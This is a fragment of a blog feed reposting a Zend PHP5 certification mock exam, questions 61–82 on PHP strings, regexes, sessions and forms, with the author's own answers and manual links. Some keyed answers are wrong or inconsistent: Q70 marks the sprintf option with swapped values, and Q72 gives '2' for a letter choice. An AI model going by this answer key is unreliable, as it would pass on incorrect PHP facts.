href=&quot;http://share.yandex.ru/go.xml?service=lj&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LiveJournal&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_lj&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__friendfeed&quot; data-service=&quot;friendfeed&quot; href=&quot;http://share.yandex.ru/go.xml?service=friendfeed&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;FriendFeed&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_friendfeed&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__moikrug&quot; data-service=&quot;moikrug&quot; href=&quot;http://share.yandex.ru/go.xml?service=moikrug&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Мой Круг&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_moikrug&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__evernote&quot; data-service=&quot;evernote&quot; href=&quot;http://share.yandex.ru/go.xml?service=evernote&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Evernote&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_evernote&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__greader&quot; data-service=&quot;greader&quot; href=&quot;http://share.yandex.ru/go.xml?service=greader&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Google Reader&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_greader&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__liveinternet&quot; data-service=&quot;liveinternet&quot; href=&quot;http://share.yandex.ru/go.xml?service=liveinternet&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LiveInternet&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_liveinternet&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__linkedin&quot; data-service=&quot;linkedin&quot; href=&quot;http://share.yandex.ru/go.xml?service=linkedin&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LinkedIn&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_linkedin&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/3269154377131287681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam_8621.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3269154377131287681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3269154377131287681'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam_8621.html' title='Zend PHP5 Certification Mock Exam Sample Questions — 3'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-7687087268987667120</id><published>2013-02-01T18:27:00.002-08:00</published><updated>2013-02-01T18:27:33.383-08:00</updated><title type='text'>Zend PHP5 Certification Mock Exam Sample Questions — 2</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div id=&quot;entries&quot;&gt;
&lt;h1&gt;
Zend PHP5 Certification Mock Exam Sample Questions — 2&lt;/h1&gt;
&lt;div class=&quot;post-meta&quot;&gt;
&lt;a href=&quot;http://wmdn.ru/category/php/&quot; rel=&quot;category tag&quot; title=&quot;Просмотреть все записи в рубрике «PHP»&quot;&gt;PHP&lt;/a&gt; | 16.04.2011 | &lt;!--12 Comments |--&gt; Метки: &lt;a href=&quot;http://wmdn.ru/tag/zend/&quot; rel=&quot;tag&quot;&gt;zend&lt;/a&gt;  | &lt;a href=&quot;http://wmdn.ru/php/zend-php5-certification-mock-exam-sample-questions-2/#comments&quot;&gt;12 Комментариев&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;post&quot;&gt;
&lt;!-- google_ad_section_start --&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;alignleft&quot; height=&quot;67&quot; src=&quot;http://static.zend.com/img/logo.gif&quot; style=&quot;margin-left: -4px; margin-right: 7px;&quot; title=&quot;Zend Logo&quot; width=&quot;193&quot; /&gt;This is the second part of the explanation   exam questions to test Zend PHP5 with the correct (imho) answers and useful links on manuals.&lt;br /&gt;
If you have additional minds please use comments.&lt;br /&gt;
&lt;span id=&quot;more-1211&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;61. Given the two values below, which of the following possiblities will print 10 foos20 bars?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$var1 = &quot;10 foos&quot;;&lt;br /&gt;
$var2 = &quot;20 bars&quot;;&lt;br /&gt;
print ???????;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;implode(««, array($var1,$var2));&lt;/li&gt;
&lt;li&gt;$var1 . $var2&lt;/li&gt;
&lt;li&gt;$var1 + $var2&lt;/li&gt;
&lt;li&gt;All of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.string.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.string.php&lt;/a&gt;,&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.implode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt; http://ru.php.net/manual/en/function.implode.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;62. Given the string, which of the following will extract the TLD (top level domain) of „.net“ from the string?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;i&gt;$var = „john@php.net“;&lt;/i&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;strstr($var, strpos($var, „.“));&lt;/li&gt;
&lt;li&gt;substr($var, strpos($var, „@“));&lt;/li&gt;
&lt;li&gt;substr($var, strstr($var, „.“));&lt;/li&gt;
&lt;li&gt;substr($var, strpos($var, „.“) + 1);&lt;/li&gt;
&lt;li&gt;substr($var, strpos($var, „.“));&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.substr.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.substr.php&lt;/a&gt;,&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strpos.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt; http://ru.php.net/manual/en/function.strpos.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;63. When comparing two strings, which of the following is acceptable?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$a === $b;&lt;/li&gt;
&lt;li&gt;strcasecmp($a, $b);&lt;/li&gt;
&lt;li&gt;strcmp($a, $b);&lt;/li&gt;
&lt;li&gt;$a == $b;&lt;/li&gt;
&lt;li&gt;str_compare($a,$b);&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strcasecmp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.strcasecmp.php&lt;/a&gt;,&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strcmp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt; http://ru.php.net/manual/en/function.strcmp.php&lt;/a&gt; and str_compare does not exist.&lt;br /&gt;
&lt;b&gt;64. A fingerprint of a string can be determined using which of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;md5()&lt;/li&gt;
&lt;li&gt;hash()&lt;/li&gt;
&lt;li&gt;fingerprint()&lt;/li&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.md5.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.md5.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;65. Which of the following is the best way to split a string on the „-=-“ pattern? (Choose 1 answer)&lt;/b&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;They all are equally proper methods&lt;/li&gt;
&lt;li&gt;str_split($string, strpos($string, „-=-“))&lt;/li&gt;
&lt;li&gt;preg_split(„-=-“, $string);&lt;/li&gt;
&lt;li&gt;explode(„-=-“ $string);&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.str-split.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.str-split.php&lt;/a&gt;,&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.preg-split.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt; http://ru.php.net/manual/en/function.preg-split.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.explode.php&lt;/a&gt; — but where is comma?&lt;br /&gt;
&lt;b&gt;66. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$string = &quot;14302&quot;;&lt;br /&gt;
$string[$string[2]] = &quot;4&quot;;&lt;br /&gt;
print $string;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;14304&lt;/li&gt;
&lt;li&gt;14342&lt;/li&gt;
&lt;li&gt;44302&lt;/li&gt;
&lt;li&gt;14402&lt;/li&gt;
&lt;li&gt;Array&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;b&gt;67. Which of the following comparisons will evaluate to true?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;&#39;t&#39; == t&lt;/li&gt;
&lt;li&gt;1 === „1time“&lt;/li&gt;
&lt;li&gt;„top“ == 0&lt;/li&gt;
&lt;li&gt;„top“ === 0&lt;/li&gt;
&lt;li&gt;1 == „1time“&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.types.type-juggling.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.types.type-juggling.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;68. Which function is best suited for removing markup tags from a string?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;strip_markup&lt;/li&gt;
&lt;li&gt;strip_tags&lt;/li&gt;
&lt;li&gt;str_replace&lt;/li&gt;
&lt;li&gt;preg_replace&lt;/li&gt;
&lt;li&gt;preg_strip&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.strip-tags.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.strip-tags.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;69. Identify the best approach to compare to variables in a binary-safe fashion&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Both strcmp() and $a === $b&lt;/li&gt;
&lt;li&gt;$a == $b&lt;/li&gt;
&lt;li&gt;$a === $b&lt;/li&gt;
&lt;li&gt;str_compare()&lt;/li&gt;
&lt;li&gt;strstr()&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru2.php.net/manual/en/function.strcmp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru2.php.net/manual/en/function.strcmp.php&lt;/a&gt;,&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt; http://php.net/manual/en/language.operators.comparison.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;70. Consider the following script, what could be placed in place of ?????? to output the string: I have 5 apples and 10 oranges?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$oranges = 10;&lt;br /&gt;
$apples = 5;&lt;br /&gt;
$string = &quot;I have %d apples and %d oranges&quot;;&lt;br /&gt;
???????&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;str_format($string, $apples, $oranges);&lt;/li&gt;
&lt;li&gt;print($string, $apples, $oranges);&lt;/li&gt;
&lt;li&gt;printf($string, $apples, $oranges);&lt;/li&gt;
&lt;li&gt;print sprintf($apples, $oranges);&lt;/li&gt;
&lt;li&gt;sprintf($string, $oranges, $apples);&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.sprintf.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.sprintf.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;71. Consider the following script, In this script, do the two var_dump() calls produce the same string? Why or Why Not?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$string = &quot;&amp;lt;b&amp;gt;I like &#39;PHP&#39; &amp;amp; I think it is \&quot;cool\&quot;&amp;lt;/b&amp;gt;&quot;;&lt;br /&gt;
var_dump(htmlentities($string, ENT_QUOTES));&lt;br /&gt;
var_dump(print htmlspecialchars($string));&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;No, the htmlentities() call will translate quotes while the htmlspecialchars() call will not&lt;/li&gt;
&lt;li&gt;No, htmlentites() translates &amp;lt; and &amp;gt; symbols to their HTML entity equivalents while htmlspecialchars() only does quotes&lt;/li&gt;
&lt;li&gt;No, the htmlentites() call won&#39;t translate quotes to HTML entities while the htmlspecialchars() call will&lt;/li&gt;
&lt;li&gt;Yes, htmlspecialchars() and htmlentities() with the ENT_QUOTES constants produce the same result&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.htmlentities.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.htmlentities.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.htmlspecialchars.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.htmlspecialchars.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;72. Consider the following String, which of the following functions would best parse the string above by the tab (\t) and newline (\n) characters?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
$string = „John\tMark\nTed\tLarry“;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; strsplit($string, „\t\n“);&lt;/li&gt;
&lt;li&gt; strtok($string, „\t\n“);&lt;/li&gt;
&lt;li&gt; strstr($string, „\t\n“);&lt;/li&gt;
&lt;li&gt; explode(„\t\n“, $string);&lt;/li&gt;
&lt;li&gt; All of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: 2&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strtok.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.strtok.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;73. Which functions would be needed to translate the following string: ‘I love PHP 5’ to the following ‘5 PHP EVOL I’?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; mirror()&lt;/li&gt;
&lt;li&gt; strtoupper()&lt;/li&gt;
&lt;li&gt; toupper()&lt;/li&gt;
&lt;li&gt; str_reverse()&lt;/li&gt;
&lt;li&gt; strrev()&lt;/li&gt;
&lt;/ol&gt;
Answer: B, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strtoupper.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.strtoupper.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.strrev.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.strrev.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;74. What is the best approach for converting this string, Into this array?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;i&gt;$string = „a=10&amp;amp;b[]=20&amp;amp;c=30&amp;amp;d=40+50“;&lt;br /&gt;
array(4) {&lt;br /&gt;
[&quot;a&quot;]=&amp;gt;string(2) „10“&lt;br /&gt;
[&quot;b&quot;]=&amp;gt;array(1) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;[0]=&amp;gt;string(2) „20“&lt;br /&gt;
}&lt;br /&gt;
[&quot;c&quot;]=&amp;gt;string(2) „30“&lt;br /&gt;
[&quot;d&quot;]=&amp;gt;string(5) „40 50“&lt;br /&gt;
}&lt;/i&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Write a parser completely by hand, it&#39;s the only way to make sure it&#39;s 100% accurate&lt;/li&gt;
&lt;li&gt; Use the parse_str() function to translate it to an array()&lt;/li&gt;
&lt;li&gt; Pass the variable to another PHP script via an HTTP GET request and return the array as a serialized variable&lt;/li&gt;
&lt;li&gt; Just call unserialize() to translate it to an array()&lt;/li&gt;
&lt;li&gt; Write a string parser using strtok() and unserialize() to convert it to an array&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.parse-str.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.parse-str.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;75. Which string does the following PCRE regular expression match?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
$regex = „/^([a-z]{5})[1-5]+([a-z]+)/“;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; Hello34262343goodbye&lt;/li&gt;
&lt;li&gt; frank12345abc&lt;/li&gt;
&lt;li&gt; hello34212343goodbye&lt;/li&gt;
&lt;li&gt; abcdefghi12345abc&lt;/li&gt;
&lt;/ol&gt;
Answer: C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Regular_expression&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Regular_expression&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;76. Which PCRE regular expression will match the string ‘PhP5-rocks’?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;/^[hp1-5]*\- .*/i&lt;/li&gt;
&lt;li&gt;/[hp1-5]*\- .?/&lt;/li&gt;
&lt;li&gt;/[hp][1-5]*\- .*/&lt;/li&gt;
&lt;li&gt;/[PhP]{3}[1-5]{2,3}\- .*$/&lt;/li&gt;
&lt;li&gt;/[a-z1-5\-]*/&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.phpro.org/tutorials/Introduction-to-PHP-Regex.html#8&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.phpro.org/tutorials/Introduction-to-PHP-Regex.html#8&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;77. If regular expressions must be used, in general which type of regular expression functions available to PHP is preferred for performance reasons?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; strtok() using regular expressions&lt;/li&gt;
&lt;li&gt; preg_* regular expression functions&lt;/li&gt;
&lt;li&gt; parse_str() using regular expressions&lt;/li&gt;
&lt;li&gt; strregex* regular expression functions&lt;/li&gt;
&lt;li&gt; ereg* regular expression functions&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.ereg.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.ereg.php&lt;/a&gt;: &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.preg-match.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;preg_match()&lt;/a&gt;, which uses a Perl-compatible regular expression syntax, is often a faster alternative to ereg().&lt;br /&gt;
&lt;b&gt;78. To destroy one variable within a PHP session you should use which method in PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Unset the variable in $HTTP_SESSION_VARS&lt;/li&gt;
&lt;li&gt; Use the session_destroy() function&lt;/li&gt;
&lt;li&gt; Use the session_unset() function&lt;/li&gt;
&lt;li&gt; unset the variable in $_SESSION using unset()&lt;/li&gt;
&lt;li&gt; Any of the above are acceptable in PHP 5&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://docs.php.net/manual/ru/session.examples.basic.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://docs.php.net/manual/ru/session.examples.basic.php&lt;/a&gt;: Example #2 Unregistering a variable with &lt;a href=&quot;http://wmdn.ru/goto/http://docs.php.net/manual/ru/reserved.variables.session.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;$_SESSION&lt;/a&gt; and &lt;a href=&quot;http://wmdn.ru/goto/http://docs.php.net/manual/ru/ini.core.php#ini.register-globals&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;register_globals&lt;/a&gt; disabled.&lt;br /&gt;
&lt;b&gt;79. If you would like to store your session in the database, you would do which of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; It requires a custom PHP extension to change the session handler&lt;/li&gt;
&lt;li&gt; Implement the session_set_save_handler() function&lt;/li&gt;
&lt;li&gt; Create functions for each session handling step and use session_set_save_handler() to override PHP&#39;s internal settings&lt;/li&gt;
&lt;li&gt; Configure the session.save_handler INI directive to your session class&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.session-set-save-handler.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.session-set-save-handler.php&lt;/a&gt;: This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database.&lt;br /&gt;
&lt;b&gt;80. To destroy a PHP session completely, one must which of the following?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Regenerate the session ID using session_regenerate_id()&lt;/li&gt;
&lt;li&gt; If cookies are used, destroy it&lt;/li&gt;
&lt;li&gt; Use session_demolish() to completely destroy the session&lt;/li&gt;
&lt;li&gt; Change the session name using session_name()&lt;/li&gt;
&lt;li&gt; Destroy the session data using session_destroy()&lt;/li&gt;
&lt;/ol&gt;
Answer: B, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.session-destroy.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.session-destroy.php&lt;/a&gt;, and delete the session cookie&lt;br /&gt;
&lt;b&gt;81. If you would like to change the session ID generation function, which of the following is the best approach for PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Set the session.hash_function INI configuration directive&lt;/li&gt;
&lt;li&gt; Use the session_set_id_generator() function&lt;/li&gt;
&lt;li&gt; Set the session id by force using the session_id() function&lt;/li&gt;
&lt;li&gt; Use the session_regenerate_id() function&lt;/li&gt;
&lt;li&gt; Implement a custom session handler&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru2.php.net/manual/en/function.session-id.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru2.php.net/manual/en/function.session-id.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;82. Consider the following HTML fragement, which of the following name attributes should be used to capture all of the data from the user in PHP?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;i&gt;&amp;lt;select name=»?????» multiple&amp;gt;&lt;br /&gt;
&amp;lt;option value=»1&quot;&amp;gt;Item #1&amp;lt;/option&amp;gt;&lt;br /&gt;
&amp;lt;!— … more options … —&amp;gt;&lt;br /&gt;
&amp;lt;/select&amp;gt;&lt;/i&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; myselectbox=array()&lt;/li&gt;
&lt;li&gt; myselectbox[]&lt;/li&gt;
&lt;li&gt; myselectbox[&#39;multiple&#39;]&lt;/li&gt;
&lt;li&gt; myselectbox{&#39;multiple&#39;}&lt;/li&gt;
&lt;li&gt; myselectbox&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
